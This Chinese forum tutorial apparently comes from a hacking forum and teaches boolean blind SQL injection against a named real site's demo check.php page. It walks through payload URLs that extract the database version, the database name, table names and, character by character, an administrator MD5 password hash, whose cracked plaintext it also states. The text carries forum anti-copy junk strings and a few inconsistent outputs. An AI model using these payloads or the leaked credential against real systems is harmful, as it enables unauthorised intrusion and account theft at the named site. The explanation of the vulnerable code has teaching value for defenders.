|
本文实例来自习科论坛交流三群。这个注入点可以使用错误回显注入来爆数据,本文出于讲解的目的,使用更麻烦的盲注。
$ v* c# n2 B4 A, B: h' P! y阅读本文,需要有一点点SQL基础。盲注理解起来其实非常简单,就是做起来非常费劲
7 c/ P$ b0 Y: o作者:YoCo Smart/ ]. k8 ?0 \2 R2 p& P" J* V& h
来自:习科信息技术 - http://BlackBap.Org
" e: V% w) p% z" c我们先来看注入点,是一个B2B网站建站公司: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin
- 用户名已被注册
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'
- select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1( _) l7 Q* o$ M6 }
W* g. O$ ^! t: n1 x. R$ A复制代码
. D8 J) |7 \1 ?" L! X2 {5 `错误提示已经很明了了。我们看一下注入页面的代码(有删改): - $js_user = trim($_GET["js_user"]);
- if($js_user){
- $num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
- if(!$num)
- echo "<div class=tips3></div>";
- else
- echo "<div class=tips2>用户名已被注册</div>";
- }
+ p7 N( \, o, u5 U+ _+ l( H * ?+ z1 g K3 s5 j2 F- [
复制代码9 v- \6 \: a8 j! ?: T9 y" J
以GET方式取值的变量js_user虽然没有过滤被直接带入了数据库执行,并且MySQL也执行了,但是并没有显示数据库的任何信息,而是判断是否符合
. ?$ L R+ {) W那么我们先从union的盲注来看吧。
+ K& T, b _1 e$ P0 u先看版本: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(version(),1)=5%23+ w3 I/ c: w9 [% k
% j' e% Q$ g, p" y( t
复制代码
; C$ q$ P; i8 k5 P! o9 J! L5 a2 |这个时候我们来看看原来的代码中的SQL语句是怎么执行的: - select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#'5 b6 |% |: u. S. G! n
; { d, M& H7 S复制代码* k) T a+ m. O. e- ]. [
因为执行成功,所以不符合if(!$num)这个条件,回显“用户名已被注册”,那么版本为5成立
) Z5 K4 @1 _- {! y* F8 d再来看database()的数据: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(database())=6%23
- database()长度6
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),1)='l'%23
- l
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),2)='li'%23
- li
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),3)='lic'%23
- lic
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),4)='licl'%23
- licl
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),5)='licln'%23
- licln
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),6)='liclny'%23
- licclny
% q$ T0 C7 i1 c8 ]5 l8 w. ]5 v, J / b) n- Q4 C9 A7 l* q7 i
复制代码
8 _/ Q) T& k' Vlength()函数是计算括号中数据的长度,回显为纯数字,可以用大于小于和等于号来判断是否正确。# o2 B5 R5 s% ~ S. M
这里要注意看一下left()函数中的数字变化,关于left()函数,可以自行参考MySQL手册。
% i9 Y# E3 C1 a+ _; F再来看一点简单的判断句: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(pass)=32%23
- select userid from demo_b2b_member where user = 'admin'and length(pass)=32#'
& Q: G* P3 K; W. n0 |# [5 f
/ k3 A* K$ i5 |4 `: |复制代码
, L, O' \9 K# a8 @1 q3 Z这个时候length()函数中的pass是猜测的,当然是建立在猜测正确的基础上。
8 _7 s# t$ e& m! w* x% E这里要说的是,pass和前面select后的userid同属一个表段demo_b2b_admin,所以不需要再带select语句; [8 E: S9 i0 ~) \) M" z! }5 ?
那么这里就能得到: - 这里最后没有'#这个终止符,大家带进去看一下,你们懂得。前开后闭。
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,1)='0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,2)='04
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,3)='048
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,4)='0484
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,5)='04843
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,6)='04843e
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,7)='04843e9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,8)='04843e9f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,9)='04843e9f9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,10)='04843e9f91
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,11)='04843e9f91a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,12)='04843e9f91ad
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,13)='04843e9f91adf
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,14)='04843e9f91adf2
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,15)='04843e9f91adf22
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,16)='04843e9f91adf228
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,17)='04843e9f91adf2287
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,18)='04843e9f91adf2287c
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,19)='04843e9f91adf2287c0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,20)='04843e9f91adf2287c0a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,21)='04843e9f91adf2287c0af
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,22)='04843e9f91adf2287c0af5
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,23)='04843e9f91adf2287c0af5f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,24)='04843e9f91adf2287c0af5fe
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,25)='04843e9f91adf2287c0af5fe1
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,26)='04843e9f91adf2287c0af5fe16
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,27)='04843e9f91adf2287c0af5fe167
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,28)='04843e9f91adf2287c0af5fe1675
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,29)='04843e9f91adf2287c0af5fe16750
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,30)='04843e9f91adf2287c0af5fe16750a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,31)='04843e9f91adf2287c0af5fe16750a3
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,32)='04843e9f91adf2287c0af5fe16750a35
- 长度是32,是md5加密,解密得到lcl2wly* l5 N0 b8 H. @; n1 l
+ B- I& {" ], p6 z5 M
复制代码3 f+ y4 S2 O: X$ G, {' ~: a
这样,猜数据的方法你肯定是懂了# q$ l" N7 `9 X- v8 G- t- d& F( R
3 w# B: g; H. i- t
/ f! o$ O# u8 g o% x" }1 S
最后,我们来看demo_b2b_admin以外的数据,现在再来猜表段: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))<100%23
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))=14%23, F* ~& G' J' L f) P% i5 I, T+ W
! F ?( x$ Y; P5 }复制代码
5 B3 l. p6 u, {) |5 ^5 q0 L' p实际运行的SQL语句就是: - select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'
, H5 X0 N( Z8 G9 j2 t& X % I; R& Y$ G2 U8 K
复制代码
$ F- e6 B: t5 F" s Z上面这个语句,对于information_schema不明白的,可以参考其他MySQL注入文章来看一下这个库的意义。
; @# r6 S* y4 r关于limit x,y 的用法,可以参考MySQL手册* L6 a' `2 }/ C0 n. ]
* l B/ b# x" v( F' L% u2 r
最后剩下的要说的就是ascii函数和hex函数了/ h6 a% R1 f1 b- g7 K0 W
这两个函数的意义是避开php的GPC转义,例如: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+substr(left(pass,1),1,1)=char(48)%23
- select userid from demo_b2b_member where user = 'admin'and substr(pass,1,1)=char(48)#% z1 G. O! W/ b2 C: \1 S* s
3 q6 M1 X7 I T: E5 v6 a; B复制代码
& @; C) B3 k7 e: L7 |; vsubstr()的用法可以参考MySQL手册,如果不懂,就这样套好了。Char()里面的数字替换为ascii码数字 |
|